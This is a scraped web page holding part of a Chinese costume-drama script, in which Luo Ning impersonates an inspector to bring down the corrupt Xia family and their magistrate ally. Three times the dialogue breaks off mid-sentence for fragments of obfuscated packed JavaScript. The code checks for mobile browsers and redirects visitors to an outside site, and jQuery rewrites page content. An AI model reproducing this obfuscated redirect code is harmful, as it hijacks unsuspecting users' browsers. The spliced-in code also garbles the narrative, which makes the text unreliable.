厚厚的案卷,堆成一座小山,洛宁逐个地翻看,越看越恼火。 洛宁假扮的裴督察:哼!夏家的人,果然很会做戏!在这些案卷里,但凡与夏微雨有关的,要么就是让手下替他顶罪,要么就是以一桩意外草草结案。而夏微雨本人,连一天的牢都没坐过。哼! 公孙夕假扮的独眼老者:这其中,知县大人应该给他们帮了不少忙吧? 洛宁假扮的裴督察:我们来县衙查案的事,他肯定已经告诉夏家了。不过仅凭这个,还不足以让夏微雨有所忌惮。若想让老虎跟狮子成为死对头,还必须激怒它才行! 6-45 县衙(日,内) 人物:洛宁、公孙夕、彭知县 洛宁把彭知县叫了过去。 洛宁假扮的裴督察:彭大人!本官怀疑猎场一案并非夏家人所说的那么简单,到底是意外还是人为,须经过一番详细的调查之后,才能下定论。这样吧,你去把夏微雨带过来,本官要亲自审问他。 彭知县:是!(转身要走,被洛宁叫住) 洛宁假扮的裴督察:慢着! 彭知县:大人,您有什么吩咐? 洛宁假扮的裴督察:本官说的“把夏微雨带过来”,并非是用轿子把他抬过来,而是用铁链和木枷把他锁过来。 彭知县:(吓了一跳)锁过来? 洛宁假扮的裴督察:他是案犯,又不是县衙的客人,难道还要咱们对他以礼相待吗? 彭知县:这…… 洛宁假扮的裴督察:这什么这?你是不是不敢去呀?如果你觉得这样做太委屈他了,那么这个铁链和木枷,就由你来替他戴吧! 彭知县:不不不!下官这就去!(刚转过身去,又被洛宁叫住) 洛宁假扮的裴督察:彭大人! 彭知县:下官在! 洛宁假扮的裴督察:你要记住了!是用铁链和木枷把夏微雨从夏家一路押送到县衙来,不许走小路、也不许抄近路,要在城里的每一条大路上都走上一遭,让全城的百姓都知道他犯了事!如果他胆敢拒捕或者临阵脱逃的话,就地斩立决! 听了这话,彭知县心头一紧:督察大人这是想要夏微雨的命呀! 6-46 夏府(日,内) 人物:彭知县、夏茉莉、夏微雨 夏家的主事夏茉莉,是夏微雨的姑姑,夏微雨就是她一手带大的。虽然是位长辈,平日里保养得甚好,模样一点儿也不输给那些美艳少妇。 夏茉莉:你说什么?要把微雨押送到县衙去? 彭知县:这是督察大人的意思。 夏茉莉:督察大人为何要这么做?咱们家的微雨哪里得罪他了? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007402|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >彭知县:我也不太清楚,只听督察大人说,他好像与你们有一些私人恩怨。 夏茉莉:私人恩怨?是什么? 彭知县:督察大人不肯细说,我也不敢多问。 夏茉莉:这么说,他是来寻仇的?微雨若落在了他的手里,岂不是性命难保? 彭知县:微雨是我的干儿子,我肯定会护着他。你先别着急,等我向督察大人打听清楚了再说。 夏茉莉:实在不行的话,我请老太太出面…… 彭知县:老太太那么一大把年纪了,经不起折腾,若非万不得已,还是不要惊动她为好。 夏茉莉:可微雨是咱们夏家的独苗,如果他出了什么意外…… 彭知县:放心吧!微雨之前犯下的那些案子,我早就把口供都整理好了,所有对他不利的证据,也都烧掉了。不管督察大人怎么查,也不过是雷声大雨点小,倘若他抓不到微雨的把柄,自然不就蔫了吗? 夏茉莉:你确定他抓不到微雨的把柄? 彭知县:我干这一行这么多年,什么样的风雨没经历过?微雨若出了事,我不也完了吗? 夏茉莉:唉,那行吧!我让微雨跟你去一趟。 彭知县:这次恐怕要委屈一下他了。来这里之前,督察大人特意叮嘱过我,一定要用铁链和木枷将他锁过去。 夏茉莉:什么?!他怎么可以这样对微雨? 彭知县:我刚才不是说了吗?这个督察大人是新来的,他这样做,无非是想立威,想拿微雨来震慑梅州的百姓呢! 夏茉莉:既是私人恩怨,为何不能私下解决?为何非要闹到公堂上? 彭知县:你没见过这个新来的督察大人,不过是个稚气未脱的小娃娃而已。如今他正在气头上,咱们还是不要火上浇油了。 夏茉莉:从这里到县衙,还有一段路程,难道真的要让微雨去游街示众吗? 彭知县:你若是觉得难堪,我可以把他的脸罩住。 正说着,夏微雨从外面进来。 夏茉莉:微雨! 夏微雨:听说新来的督察大人要拿我? 彭知县与夏茉莉互相对望了一眼。 夏茉莉:微雨,你别担心!姑姑刚才已经跟你义父商量好了,你且随他去一趟县衙,没事儿! 夏微雨:既然没事儿,又为何要把我押过去?(斜睨着彭知县)以往不都是你把我请过去的吗? 彭知县:督察大人让我这么做,我也不得不照办呀! 夏茉莉:微雨,你义父说了,可以把你的脸罩住,这样就没人能认得出你了。 夏微雨:(冷笑一声)他们认不出我,可他们认得出你们。你俩天天在一起,都不觉得难堪,我怕什么? 夏茉莉:(脸微微一红)微雨你…… 彭知县:(尴尬地咳了两声)咳咳!既然这样,就请夏公子随本官走一趟吧! 6-47 街道上(日,外) 人物:彭知县、夏微雨、裴光年、小迢、公差若干、百姓若干 彭知县押着夏微雨前往县衙,当他们路过街市,百姓纷纷过来围观。 百姓甲:咦!这不是夏家的公子吗?他怎么成阶下囚了? 百姓乙:他姑姑不是天天都陪着县太爷在吃酒吗?怎么没见县太爷罩着他呀? 百姓丙:怎么没罩着他?县太爷不是亲自过来接他了嘛! 人群发出阵阵哄笑,夏微雨何曾受过此等羞辱,他的额上青筋爆出,眼里冒出火来。见他这样,彭知县急忙上前安慰。 彭知县:微雨,忍一忍吧!等督察大人走了之后,义父立刻还你自由! 夏微雨:(恶狠狠地瞪了他一眼,嘴里骂着)滚! 裴光年和小迢也闻讯赶来。 小迢:(问看热闹的百姓)这是在干什么?游街示众吗? 百姓:跟游街示众差不多!新来的督察大人,要治夏家公子的罪! 裴光年/小迢:新来的督察大人?! 百姓:对呀!他今天才到登丘城,就把夏家公子给抓起来了。(竖起大拇指)敢在虎口拔牙,真厉害呀! 小迢与裴光年互相对望了一眼。 小迢:(低声)少爷,这到底是怎么回事呀? 裴光年:(气得脸色发青)哼!这还用问吗?肯定是那个小贼,偷了咱们的东西,在县衙里假扮我呢! 小迢:啊!他的胆子未免也太大了吧?怎么办?要不咱们这就去县衙里揭穿他? 裴光年:圣旨在他手里,怎么揭穿?没准儿还会被他倒打一耙呢! 小迢:那怎么办呀?他若在县衙里为所欲为,岂不是败坏了您的名声? 裴光年:(想了想)此事不能操之过急,先弄清楚他是谁、有何目的再说。 6-48 县衙(日,内) 人物:洛宁、公孙夕、彭知县 洛宁连打了几个哈欠,正打算眯一会儿,却见彭知县从外面进来。 彭知县:大人,下官已经按照您的吩咐,将夏微雨押回了县衙。 洛宁假扮的裴督察:(懒洋洋地答应了一声)哦,知道了。 彭知县:大人,您是否现在就要审问他呢? 洛宁假扮的裴督察:先打他一顿。 彭知县:(微微一愣)哦? 洛宁假扮的裴督察:本官说先打他一顿,你听不懂吗? 彭知县:大人,您不打算审问他了吗? 洛宁假扮的裴督察:之前你不是已经审问过了吗?他招了没?像这种不知天高地厚的家伙,不打他一顿,他怎么肯招呢? 彭知县:哦,那您打算什么时候审问他呀? 洛宁假扮的裴督察:着什么急呀?本官忙了一上午,这会儿正犯困呢,等本官睡上一觉之后再说吧! 彭知县:哦,那行!您先歇会儿,下官告退。 洛宁假扮的裴督察:等等! 彭知县:大人您还有什么吩咐? 洛宁假扮的裴督察:(对着公孙夕)老夕!你去监督他们行刑,如果他们敢偷懒的话,就由你亲自来! 公孙夕假扮的独眼老者:是,大人! 6-49 县衙,大牢(日,内) 人物:公孙夕、彭知县、夏微雨、公差若干 有了公孙夕的监督,衙役们不敢浑水摸鱼,一会儿便将夏微雨打得皮开肉绽。彭知县在旁边看得心惊肉跳,却又不敢上前拦阻。 公孙夕假扮的独眼老者(内心独白):呵呵,这个夏微雨!昨日还风光无限,今日就变得如此狼狈,果然是人生无常、祸福难料啊! 56. 第六篇 去泡温泉吧 梅州,登丘城 6-50 县衙(日,内) 人物:洛宁、彭知县 洛宁刚睡醒,彭知县便匆匆地来了。 彭知县:裴大人,您起来了? 洛宁假扮的裴督察:(揉揉眼睛)哦,是彭大人呀。怎么?有事吗? 彭知县:回大人,下官已经按照您的吩咐,将案犯夏微雨打了一顿。 洛宁假扮的裴督察:他招了没? 彭知县:这…… 洛宁假扮的裴督察:没招是吗?那就接着打呗!什么时候招了,什么时候不打了。 彭知县:大人,这样做的话,会不会屈打成招呀? 洛宁假扮的裴督察:(拍桌子)放肆!是本官在办案、还是你在办案?你是不是觉得本官不如你呀? 彭知县:不不不,下官不是这个意思。 洛宁假扮的裴督察:那你是什么意思?你一个小小的知县,竟敢对本官指手画脚,你配吗? 彭知县:不配!下官不配! 洛宁假扮的裴督察:那你还不快去办!杵在这里干嘛?是不是要本官亲自动手呀? 彭知县:哦,是是是!下官这就去! 6-51 县衙,大牢(日,内) 人物:彭知县、公孙夕、夏微雨、公差若干 眼看着夏微雨被打得血肉模糊,彭知县急得不知该如何是好。 彭知县:再这样打下去,怕是要出人命了。 公孙夕假扮的独眼老者:督察大人没喊停,谁敢说不打呀?要不您去劝劝他? 彭知县:唉,督察大人命我将案犯带过来,却又不审问他,这到底是什么意思呀? 公孙夕假扮的独眼老者:彭大人,您不也经常审案子吗?如果一个案子无缘无故地一拖再拖,为何呀? 彭知县:(突然反应过来)噢,你的意思是,督察大人故意压着不办? 公孙夕假扮的独眼老者:这可是您说的,我什么都没说。 彭知县:那你倒是说说,督察大人为何要这么做呀? 公孙夕假扮的独眼老者:(反问)彭大人,您说呢? 彭知县:(皱着眉头想了想)噢,明白了!之前督察大人跟我说,他跟夏家之间有一些私人恩怨。这位老哥儿,您在督察大人身边做事,是否听闻过一二? 公孙夕假扮的独眼老者:这个您得去问督察大人。 彭知县:我问过了,可他不肯说呀! 公孙夕假扮的独眼老者:(压低声音)这里是县衙,人多嘴杂,有些话不能在这里说。 彭知县:噢,明白了!那您看看,该在什么地方说呀? 公孙夕假扮的独眼老者:我们家的这位大人,平日里没什么别的爱好,就喜欢玩上两把。(做了个摸牌的手势)从京城到梅州,只顾着赶路,也没人陪他解解闷儿,估计这会儿手早就痒了。 彭知县:噢,懂了!我这就请督察大人喝酒去! 彭知县在登丘城最好的酒楼里订下一桌酒席,请督察大人吃饭。督察大人起初还不乐意,听闻有牌局,这才勉强答应了。 6-52 夏府(日,内) 人物:彭知县、夏茉莉 酒席安排好之后,彭知县又来劝说夏茉莉。 彭知县:舍不得孩子套不住狼!就这么点儿东西,对你们夏家来说,算不了什么! 夏茉莉:如果他不肯收呢? 彭知县:当官哪有不收礼的?更何况是一个小娃娃!只要把他哄高兴了,微雨自然就没事了。 夏茉莉:那……行吧。只要能救出微雨,哪怕要将夏家茶场拱手相让,我也在所不惜! 6-53 酒楼,雅间(日,内) 人物:彭知县、洛宁、公孙夕 彭知县正在跟督察大人打牌,独眼老者在旁边作陪。 洛宁假扮的裴督察:彭大人,你这可是在贿赂本官哟! 彭知县:大人您远道而来,下官请您吃顿便饭,算不了什么!更何况这顿饭是下官自掏腰包,怎么能算贿赂呢? 洛宁假扮的裴督察:话虽这么说,不过这会儿天还没黑,县衙里还有事,咱们出来的是不是有点早了? 彭知县:县衙里那么多人,个个都领了薪水,他们不干谁干?总不能让大人您来干吧? 洛宁假扮的裴督察:可本官是头儿啊! 彭知县:干活的都是胳膊腿儿,何时见过头儿干活呀? 洛宁假扮的裴督察:(忍不住笑了)啧啧,彭大人,你算是把这个官当得明明白白了!哈哈! 公孙夕冲彭知县使了个眼色,彭知县会意,打出一张牌。 洛宁假扮的裴督察:呀!又胡了! 彭知县:唉,才一会儿工夫,下官已经连输了三局,真是太丢脸了! 洛宁假扮的裴督察:彭大人,你该不会是在故意让着本官的吧? 彭知县:哪能呢!下官的牌技差、手气臭,遇上像大人您这样的高手,就只能甘拜下风了。 三个人又新开了一局,见督察大人赢得高兴,彭知县趁机问道。 彭知县:大人,之前您说与夏家有些矛盾,是什么呀? 洛宁假扮的裴督察:干嘛问这个? 彭知县:下官在想,如果您能跟下官交个底、下官的心里有了数的话,以后也好知道该怎么替您整他们呀! 洛宁假扮的裴督察:本官怎么知道你是向着本官、还是向着他们呀? 彭知县:下官亲自去夏家抓了夏微雨,又把他打得头破血流,如今已经跟夏家结了仇,下官若不向着您,岂不是自讨没趣? 洛宁假扮的裴督察:(点点头)嗯,也是。那行吧,本官告诉你,不过你可要答应本官,千万不能告诉任何人哟! 彭知县:下官一定守口如瓶! 洛宁假扮的裴督察:(压低声音)事情是这样的!本官昔日在京刑司里任职的时候,夏家曾经按照往年的规矩、给咱们送份例,结果呢?他们给别人送的全是一芽一叶,给本官送的却是一芽两叶,你说气人不? 彭知县:就……就为这个呀? 洛宁假扮的裴督察:这个怎么了?你是不是觉得这是件小事呀?他让本官在同事的面前丢了面子,这已经不是一片茶叶的事了!若换成你,你咽得下这口气吗? 彭知县:是是是!您说得没错!确实是太气人了! 洛宁假扮的裴督察:可不是嘛!本官以前拿他们没办法,可现在不一样了,他们的生杀予夺大权,全掌握在本官的手里。这么好的机会,本官若不给他们一点儿颜色瞧瞧,他们还以为本官好欺负呢!哼! 彭知县:大人,您有没有想过,这件事或许不是他们干的呢? 洛宁假扮的裴督察:不是他们是谁?难不成是你呀? 彭知县:茶场虽然是夏家的,可茶叶却是工人们分的,没准儿是那些人故意想陷害他们呢? 洛宁假扮的裴督察:彭知县,你什么意思呀?你刚才还说不向着他们,怎么这会儿又在替他们喊冤了?你是不是他们派来的奸细呀? 彭知县:大人,您冤枉下官了!夏家的茶场再大,也不过是个卖茶叶的商贩,您给他们一个胆子,他们也不敢得罪您呀! 洛宁假扮的裴督察:不管他们是有意还是无意,反正本官就是不能放过他们!如今本官来梅州任职,若被人知道了这件事,让本官这个督察还怎么当呀? 彭知县:是是是!您说得没错!确实不能放过他们!不过,大人您若想出气的话,未必非要用这个办法。 洛宁假扮的裴督察:怎么?难不成你还有别的主意? 彭知县:既然此事是因茶叶而起,不如就用茶叶来解决,您看怎么样? 洛宁假扮的裴督察:(沉下脸)彭大人,本官是那种只用区区几片茶叶就能收买的人吗?怎么?他们瞧不起本官,你也瞧不起本官呀? 彭知县:下官不敢!其实,大人您有所不知,夏家茶场的茶叶有很多种,而下官说的这一种,寻常人连见都没见过,更别说尝了。 洛宁假扮的裴督察:(不以为然地)不就是进贡给宫里的茶叶吗?但凡从京城来的官,谁没尝过呀? 彭知县:这一种,连宫里都没有。 洛宁假扮的裴督察:(眯起眼)哦,难不成夏家还留了一手? 彭知县:嘿嘿,大人,您瞧瞧这个! 彭知县神秘一笑,打开带来的茶叶盒子,里面竟装着一根根大金条,黄灿灿、满当当,看得洛宁两眼放光。旁边的公孙夕干咳了两声,洛宁急忙收回目光,又板起脸问彭知县。 洛宁假扮的裴督察:彭大人,这是茶叶吗? 彭知县:怎么不是呀? 洛宁假扮的裴督察:茶叶要是长这样,本官以前喝过的那些茶,还能叫茶吗? 彭知县:大人您以前喝过的那些茶叫茶,这个也叫茶! 洛宁假扮的裴督察:也叫茶?叫什么茶? 彭知县:砖茶! 洛宁假扮的裴督察:砖茶? 彭知县:对呀!它也是咱们梅州的特产,只因模样有点儿怪,鲜为人知。大人您若是不嫌弃的话,夏家备了数盒这样的茶叶…… 洛宁假扮的裴督察:(摆手拒绝)不行不行!本官若是拿了这个,岂不是成了夏家的走狗? 她嘴上虽这么说,眼睛却盯着金条不放,见她这样,彭知县笑道。 彭知县:夏家做了对不起大人您的事,送几盒茶叶聊表歉意,有何不可?像大人您这棵高枝,他们想攀还攀不上呢! 洛宁假扮的裴督察:那也不能说拿就拿呀,本官可不是那种见钱眼开之人! 彭知县:这是茶叶,不值几个钱!但凡来登丘城游玩的人,谁还不带几样本地的特产回去呀? 洛宁假扮的裴督察:(点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007403|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头)嗯,也是啊!可那个夏微雨还在牢房里关着呢! 彭知县:这个您别担心,剩下的事交给下官,自然把一切都给您办妥了。 洛宁假扮的裴督察:那行!既然夏家诚心诚意地悔过,本官暂且饶了他们。哦,对了!还有件事! 彭知县:大人您请讲! 洛宁假扮的裴督察:你们县衙里是不是有一个叫付先忧的文员呀? 彭知县:对呀,怎么了? 洛宁假扮的裴督察:他可是本官的拜把子兄弟…… 彭知县:(大吃一惊)天哪,您怎么不早说? 洛宁假扮的裴督察:本官不好意思麻烦你嘛! 彭知县:大人您放心,下官已经知道该怎么做了! 6-54 街道上(夜,外) 人物:洛宁、公孙夕、裴光年、小迢 时至深夜,酒足饭饱,洛宁和公孙夕辞别了彭知县,往客栈的方向走去。 洛宁假扮的裴督察:嘻嘻,这个督察大人,当得可真过瘾! 公孙夕假扮的独眼老者:所以说人人都想当官、还都想当大官嘛! 洛宁假扮的裴督察:如果能假扮成皇上,肯定更威风! 公孙夕假扮的独眼老者:小不点儿,你的心可真大呀! 当他们走到一条无人的小巷子里,突然冒出来两个人,一前一后堵住了他们。 裴光年:小贼!往哪里逃! 小迢:快把东西还给我们! 洛宁假扮的裴督察:呀,他们怎么这么快就来了?我的瘾还没过足呢! 公孙夕假扮的独眼老者:呵呵,欠人家的,终究还是要还的。(瞅了一眼裴光年和小迢,问洛宁)丫头,后面那个小的你能对付吗? 洛宁假扮的裴督察:没问题!我带着药粉呢! 公孙夕假扮的独眼老者:那咱们就分头走吧! 公孙夕虚晃一招,趁着小迢闪避之际,洛宁箭一般冲了出去,小迢见状,拔腿就追。而这一头,公孙夕跟裴光年也打了起来。 公孙夕假扮的独眼老者:小子!功夫不错嘛,跟谁学的? 裴光年:少废话!还不快快束手就擒! 公孙夕假扮的独眼老者:你有酒吗? 裴光年:(倏地一愣)为何问这个? 公孙夕假扮的独眼老者:若有好酒,我这就跟你走;若没有好酒,回家洗洗睡吧! 裴光年:大胆狂徒!偷了圣旨,又冒充朝廷命官,其罪当诛!今日要么你跟我回督察府认罪伏法,要么…… 话没说完,却听巷子那头传来小迢的一声惨叫。 小迢:啊!我的眼睛!少爷,救我! 见裴光年迟疑,公孙夕笑了起来。 公孙夕假扮的独眼老者:呀,怎么办?救不救呢?若去晚了,他的眼睛可就保不住了! 裴光年:你…… 公孙夕假扮的独眼老者:这是你的东西,还给你了! 公孙夕将圣旨扔给裴光年,纵身一跃,消失在夜色中。裴光年奔进巷子里,找到了小迢,他正捂着眼睛,脸上和身上全是粉末。 裴光年:小迢,你怎么样了? 小迢:少爷,我的眼睛好辣,什么都看不见了! 裴光年:走!快去找大夫!(带着小迢匆匆地离开了巷子) 6-55 客栈,走廊上(日,内) 人物:洛宁、裴光年、小迢 洛宁刚走出房间的门,便看见裴光年领着小迢从外面进来,小迢的眼睛上蒙着一块布。 洛宁:呀,这位公子怎么了? 裴光年:哦,他的眼睛受了点儿伤。 洛宁:没事吧?我也是个大夫,要不让我给他瞧瞧? 小迢:(忙不迭点头)好啊好啊!姑娘…… 裴光年:(冷着脸)不用了!我们已经找大夫瞧过了,谢谢姑娘的好意。 他说完便扶着小迢进了屋,顺手关上门。 洛宁:(忍不住笑了)督察大人,您可真是一朝被蛇咬、十年怕井绳呀! 6-56 付府(夜,内) 人物:付先忧、付母、欧阳兰兰、保镖若干 听闻彭知县提拔了付先忧,付母和欧阳兰兰都很高兴。 欧阳兰兰:县丞可是仅次于知县大人的副职,表哥你这回也算是小有所成了! 付先忧:(难掩喜悦之情)是啊,我连做梦都没想过知县大人会突然提拔我。 付母:知县大人说了为何要提拔你吗? 付先忧:他说我做事勤勉、为人正派,比别人更能胜任这个职位。 欧阳兰兰:所以说,只要是块金子,放在哪里都会闪光。表哥你寒窗苦读这么多年,如今终于遇上了伯乐。 付母:是啊,先忧!知县大人这般赏识你,你可要好好地干呐! 付先忧:放心吧,娘!儿子一定不负所托,呵呵! 57. 第六篇 去泡温泉吧 梅州,郊外 6-57 马车车厢(日,内) 人物:裴光年、小迢 过了几日,小迢的眼睛好了,裴光年便带着他离开了登丘城,前往钟秀城赴任。 小迢:幸亏那东西没毒,不然的话,我这双眼睛可就瞎了!(见裴光年皱着眉头一言不发)少爷,您在想什么呀? 裴光年:我在想,那两个家伙到底想干嘛? 小迢:偷圣旨、冒充朝廷命官,这两样无论哪一样,可都是死罪。他们就算是不想活了,也没必要走这条绝路吧? 裴光年:这一路上,我们并没有向任何人透露行踪,他们又是怎么知道圣旨的事? 小迢:该不会有人想陷害您吧? 裴光年:如果想陷害我的话,就没必要把圣旨还给我了。 小迢:嗯,也是啊!唉,真让人摸不着头脑呀! 6-58 马路上(日,外) 人物:裴光年、小迢、夏微雨及其手下、齐捕头及其手下、车夫 走到半路,车夫突然大叫一声,胸口中箭,倒地身亡。 裴光年和小迢放眼一看,竟是一支蒙面的队伍,挽弓搭箭,气势汹汹地朝他们扑了过来。 小迢:谁这么大的胆子,竟敢偷袭督察大人! 领头的蒙面人:杀的就是你们!哼!(指着裴光年对手下)都给我听好了!谁先拿下那个家伙的首级,赏金万两! 随着头领一声令下,蒙面人将二人团团围住。见来者不善,裴光年和小迢也拔出刀剑,小心应对。 小迢:少爷,他们的人太多,要不您先走吧! 裴光年:要走一起走! 就在这时,从道路两旁突然又涌出一拨人马,为首的那个人穿着捕头的衣裳,嘴里喊着。 齐捕头:保护督察大人! 官差的出现,令蒙面人猝不及防,他们显然是有备而来,个个装备精良。 蒙面人:不好!中计了! 这些蒙面人原本也不过是些游兵散勇,面对着训练有素的督察府人马,根本不是对手,很快便死伤过半,余下的也无心恋战,纷纷往登丘城的方向逃去。唯有那个头领,一心要取裴光年的首级,结果却被裴光年一剑刺穿了胸膛,当场殒命。 齐捕头:(上前关切地)大人,您没事吧? 裴光年:我没事!请问阁下是…… 齐捕头:(作礼)属下齐冉,拜见督察大人! 小迢:噢,原来你们是督察府的人呀? 齐捕头:正是! 裴光年:你们怎么知道我在这里? 齐捕头:咦,不是大人您写信让我们过来的吗? 裴光年:我? 齐捕头:对呀!属下前两天收到一封密函,说是让我们埋伏在这里,协助大人您抓捕疑犯。 小迢:啊!竟有这回事?(问裴光年)少爷,您何时写的信?我怎么不知道呀? 裴光年:(摇摇头)我也不太明白。 他扫了一眼地上的尸体,扯下那个头领的面罩。 小迢:(大吃一惊)天呐!这不是那天被游街示众的那个小子吗?他为何要取您的性命? 裴光年:(皱着眉头思索了一会儿,终于明白过来)是那两个小贼,我被他们利用了。 梅州,登丘城 6-59 县衙(日,内) 人物:彭知县、裴光年、小迢、齐捕头 见到裴光年,彭知县吓了一跳,他不敢当面质问,只好悄悄地问齐捕头。 彭知县:老齐呀,这个人是裴督察吗?你们会不会弄错了? 齐捕头:彭大人,你什么意思呀?督察大人可是皇上亲自任命的,谁敢冒充他呀? 彭知县:可是前两天也来过一个督察大人,我见他的模样跟这个人完全不同。 齐捕头:怎么会呢?他有圣旨吗? 彭知县:有!我亲眼看过了,上面确实是皇上的御笔。 齐捕头:怎么可能!你会不会看走眼了? 彭知县:别的我可能会看走眼,但这个你就算给我一百个胆子,我也不敢瞎说呀! 齐捕头:要不我去问问督察大人? 彭知县:为防万一,问问也好。不过你千万别告诉他是我说的哟! 齐捕头走上前去,对着裴光年低语了几句,裴光年的脸色微微一变,沉默了半晌,对齐捕头道。 裴光年:那个人就是本官,如假包换! 听了这话,彭知县不敢再多言,他的心中依旧十分纳闷:这才几天的工夫,督察大人怎么就从一个任性的小娃娃、变成了一个三十多岁的成年男子?到底是我看错了、还是他故意在戏弄我呀?唉! 6-60 客栈,客房(日,内) 人物:洛宁、欧阳兰兰 一大早,洛宁刚刚起床,欧阳兰兰便匆匆地来了。 欧阳兰兰:(进门便道)宁姐姐!你听说了吗?夏微雨死了! 洛宁:(故作惊讶)夏微雨死了?什么时候的事? 欧阳兰兰:就在昨天!那家伙也不知道发了什么疯,突然跑去行刺督察大人,又因为寡不敌众,被督察大人一刀捅死了。 洛宁:啧啧,夏微雨长得那么帅,督察大人怎么下得去手呀?夏家呢?什么反应? 欧阳兰兰:夏家老太太听说自己的宝贝曾孙死了,当即就晕了过去,到现在还没醒呢!听大夫说,人好像已经不行了。 洛宁:老太太可是夏家的顶梁柱,她若死了,夏家不就失去靠山了吗? 欧阳兰兰:已经绝后了,还要什么靠山呀? 洛宁:知县大人呢?他怎么说这个事? 欧阳兰兰:夏微雨行刺朝廷命官,罪该万死,知县大人还能说什么?当初夏微雨被关在牢里,是他把他放了出来,如今出了事,督察大人没治他一个失职之罪,已经很客气了。 洛宁:咦!欧阳兰兰,你雇的那些保镖呢?怎么没看见他们? 欧阳兰兰:我嫌他们太丑,把他们全打发走了! 洛宁:太丑? 欧阳兰兰:这些从人力市场上雇的保镖,有高有矮、有胖有瘦,站在我身边,就跟一群小丑差不多,实在是太丢脸了! 洛宁:他们不是你自己挑的吗? 欧阳兰兰:应急而已,哪能跟我们欧阳世家的保镖比呀?以后我再出门,可一定要带上我们欧阳世家的保镖,至少看着养眼。 洛宁:(嘀咕)唉,连保镖都得靠脸吃饭,这是什么世道啊? 欧阳兰兰:咦,那老头儿呢?哪去了? 洛宁:哦,我只雇了他十天,如今期满,他当然也离开了。 欧阳兰兰:要我说,他就是个骗子!那么大岁数的人了,居然还出来给人家当保镖,分明是想趁机讹人家一笔嘛! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007404|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >洛宁:(白了她一眼)是啊,所以我才没跟他续约嘛! 梅州,郊外 6-61 马车车厢(日,内) 人物:洛青、洛宁、洛思思、欧阳兰兰 辞别了付母和付先忧,众人踏上了回乡之路。 欧阳兰兰:宁姐姐,你瞧瞧我的脸,如今变得跟你一样白了。这登丘城的温泉,果然名不虚传呀! 洛思思:可我的脸为何还是老样子呀? 欧阳兰兰:变美,不是一天两天的事,而是一辈子的事。世界上从来都没有丑女人,只有懒女人,懂吗? 洛思思:哦,好像明白了。 她吐吐舌头,与洛青洛宁相视一笑。 梁州,凤凰城 6-62 督察府,大牢(日,内) 人物:张正清、洛宁 一回到凤凰城,洛宁便被张正清关进了督察府的大牢里,逼着她抄大忏悔文,不抄完不许回家。不仅如此,张正清还在牢房的外面摆上了一桌丰盛的酒菜,香气扑鼻,洛宁每抄几个字,就会忍不住看上一眼,馋得直流口水。 张正清:喂喂喂,别看了!那不是给你的! 洛宁:既然不是给我的,为何要摆在我的面前?看得我肚子都饿了! 张正清:从今天起、直到你把这一百遍大忏悔文全部抄完为止,我打算一日三餐都在这里吃了,而且顿顿都是大鱼大肉! 洛宁:张大哥,你什么意思呀? 张正清:这还不明白吗?我就是要让你看得到、吃不到!哼! 他说完走出牢房,来到桌前,拿起筷子美美地吃了起来。 洛宁:张大哥! 张正清:什么事呀? 洛宁:我想上茅房。 张正清:(口中的酒差点儿喷出)你再说一遍! 洛宁:我……突然又不想去了。 张正清:(吼)那你还不快抄!哼! 6-63 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、公孙夕 顾云飞的对面,坐着公孙夕。 顾云飞:去梦里酒乡的船已备好,您可以随时启程。 公孙夕:这一回,我可是看在你小子的面子上,才接了这个活儿,如果被人知道我退休前的最后一份差事、是保护一个乳臭未干的小女娃儿,唉,那可真是太丢脸了! 顾云飞:放心吧,没人会知道。 顾云飞打开柜子拿茶叶,公孙夕无意中瞥了一眼,笑着问。 公孙夕:咦,那些不是夏家的茶叶吗?她怎么孝敬你了? 顾云飞:她说这些东西放在我这里,比放在她那里更安全,至少没人敢讹我。 公孙夕:就不怕被你讹了吗? 顾云飞:她说,如果我敢讹她的话……(顿了顿,像是有些说不出口) 公孙夕:怎样? 顾云飞:她就给我当老婆。 公孙夕:这么说,你小子也有家室了?哈哈,真是可喜可贺呀! 公孙夕大笑不止,顾云飞满脸通红。 梅州,登丘城 6-64 街道上(夜,外) 人物:田佳 田佳把登丘城的浴场都找遍了,也没发现洛宁的身影。 田佳:(急得快要哭了)宁儿,你究竟在哪里呀?我能不能过上一个好年,可全指望你了!呜呜! 58. 第七篇 神奇的魔术师 梁州,翡宁酒庄 7-1 主屋,门前(日,外) 人物:洛宁、翡翠 一个冬天过去后,翡翠的酒庄终于盖成了。 洛宁:酒庄盖好了,是否也该起一个像样的名字,让人们也好记住它。 翡翠:叫翡宁酒庄,怎么样? 洛宁:翡宁?这不是咱俩的名字吗? 翡翠:对呀!之前咱们说好了,酒庄一人一半…… 洛宁:(打断)等等!谁跟你说好了? 翡翠:什么时候答应了,什么时候再开始酿酒。 洛宁:你…… 